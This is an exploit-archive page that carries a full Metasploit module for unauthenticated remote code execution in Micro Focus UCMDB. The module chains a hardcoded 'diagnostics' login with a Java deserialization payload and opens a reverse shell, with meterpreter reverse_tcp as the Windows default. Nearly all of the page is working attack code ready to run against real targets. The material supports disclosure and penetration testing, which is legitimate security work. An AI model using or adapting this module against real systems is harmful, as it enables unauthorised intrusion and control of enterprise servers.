exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Micro Focus UCMDB Remote Code Execution

Micro Focus UCMDB Remote Code Execution
Posted Jan 28, 2021
Authored by Pedro Ribeiro | Site metasploit.com

This Metasploit module exploits two vulnerabilities, that when chained allow an attacker to achieve unauthenticated remote code execution in Micro Focus UCMDB. UCMDB included in versions 2020.05 and below of Operations Bridge Manager are affected, but this module can probably also be used to exploit Operations Bridge Manager (containerized) and Application Performance Management.

tags | exploit, remote, vulnerability, code execution
advisories | CVE-2020-11853, CVE-2020-11854
SHA-256 | 59be14dc0b274846876d82ee91afdb255998980f7c79be4eb7f93d0f3ff0e005

Micro Focus UCMDB Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Micro Focus UCMDB Java Deserialization Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits two vulnerabilities, that when chained allow an attacker
to achieve unauthenticated remote code execution in Micro Focus UCMDB.
UCMDB included in versions 2020.05 and below of Operations Bridge Manager are affected,
but this module can probably also be used to exploit Operations Bridge Manager
(containeirized) and Application Performance Management.
Check the advisory and module documentation for details.
The first vulnerability is a hardcoded password for the "diagnostics" user, which
allows us to login to UCMDB. The second vulnerability is a run-of-the-mill Java
deserialization, which can be exploited with ysoserial's CommonsBeanutils1 payload.
Both Windows and Linux installations are vulnerable.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
],
'References' =>
[
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBM.md'],
[ 'CVE', '2020-11853'],
[ 'CVE', '2020-11854'],
[ 'ZDI', '20-1287'],
[ 'ZDI', '20-1288'],
],
'Privileged' => true,
'Platform' => %w[unix win],
'DefaultOptions' =>
{
'WfsDelay' => 15
},
'Targets' =>
# unfortunately could not find a way to determine target automatically
[
[
'Windows',
{
'Platform' => 'win',
'DefaultOptions' =>
{ 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
},
],
[
'Linux',
{
'Platform' => 'unix',
'Arch' => [ARCH_CMD],
'DefaultOptions' =>
# Metasploit ysoserial's Linux payloads are currently BROKEN!
# So we need to default to cmd/unix/generic, which is the only that works now.
# Once this is fixed, change the default to cmd/unix/reverse_python
# ... and remove this comment.
{ 'PAYLOAD' => 'cmd/unix/generic' }
},
]
],
'DisclosureDate' => '2020-10-28',
'DefaultTarget' => 0
)
)
register_options(
[
Opt::RPORT(8443),
OptString.new('TARGETURI', [ true, 'Base UCMDB path', '/']),
OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
]
)
end

def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'ucmdb-api', 'connect'),
'method' => 'GET'
})
if res && res.code == 200 && res.body.include?('HttpUcmdbServiceProviderFactoryImpl')
if res.body.include?('ServerVersion=11.6.0')
# 100% sure this version is vulnerable
return Exploit::CheckCode::Appears
end

return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Unknown
end

def exploit
print_status("#{peer} - Attacking #{target.name} target")

if target.name == 'Windows'
cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true, encode_final_payload: true })
else
cmd = payload.encoded
end

# First, let's authenticate
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'ucmdb-ui', 'cms', 'loginRequest.do;'),
'method' => 'POST',
'vars_post' => {
'customerID' => '1',
'isEncoded' => 'false',
'userName' => 'diagnostics',
'password' => 'YWRtaW4=',
'ldapServerName' => 'UCMDB'
}
})
unless res && res.code == 200 && res.get_cookies.include?('LWSSO_COOKIE_KEY')
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate with the diagnostics user!")
end
cookies = res.get_cookies
print_good("#{peer} - Succesfully authenticated and obtained our cookie!")

# Now let's pick a random service since we have so many to choose from :D
vuln_service = [
'services/CmdbOperationExecuterService',
'services/CategoryFacadeForGui',
'services/CorrelationFacadeForGui',
'services/CorrelationRunnerFacade',
'services/PackageFacadeForGui',
'services/SchedulerFacadeForGui',
'services/FoldersFacade',
'services/BusinessModelFacadeForGui',
'services/WatchServerAPI',
'services/TopologyService',
'services/ReportService',
'services/CMSImagesService',
'services/PatternService',
'services/FolderService',
'services/RelatedCIsService',
'services/MailService',
'services/DiscoveryService',
'services/ServiceDiscoveryService',
'services/SoftwareLibraryService',
'services/DataAcquisitionService',
'services/CIService',
'services/HistoryService',
'services/BundleService',
'services/LocationService',
'services/SchedulerService',
'services/ImpactService',
'services/CommonService',
'services/PermissionsService',
'services/ClassModelService',
'services/SnapshotService',
'services/LDAPService',
'services/CITService',
'services/MultiTenancyService',
'services/SecurityService',
'services/ResourceManagementService',
'services/AutomationMappingService',
'services/LicensingService',
'services/GenericAdapterService'
].sample

# Simple as
payload = ::Msf::Util::JavaDeserialization.ysoserial_payload('CommonsBeanutils1', cmd)

print_status("#{peer} - Sending payload to /#{vuln_service}")

res = send_request_raw({
'uri' => normalize_uri(target_uri.path, 'ucmdb-ui', vuln_service),
'method' => 'POST',
'cookie' => cookies,
'headers' => { 'Content-Type' => 'application/x-java-serialized-object' },
'data' => payload
})

if res && res.code == 500
print_good("#{peer} - Success, shell incoming!")
handler
else
print_error("#{peer} - Something failed, try again?")
end
end
end
Login or Register to add favorites

File Archive:

September 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    23 Files
  • 2
    Sep 2nd
    12 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    0 Files
  • 5
    Sep 5th
    10 Files
  • 6
    Sep 6th
    8 Files
  • 7
    Sep 7th
    30 Files
  • 8
    Sep 8th
    14 Files
  • 9
    Sep 9th
    26 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    5 Files
  • 13
    Sep 13th
    28 Files
  • 14
    Sep 14th
    15 Files
  • 15
    Sep 15th
    17 Files
  • 16
    Sep 16th
    9 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    12 Files
  • 20
    Sep 20th
    15 Files
  • 21
    Sep 21st
    20 Files
  • 22
    Sep 22nd
    13 Files
  • 23
    Sep 23rd
    12 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    30 Files
  • 27
    Sep 27th
    27 Files
  • 28
    Sep 28th
    8 Files
  • 29
    Sep 29th
    14 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close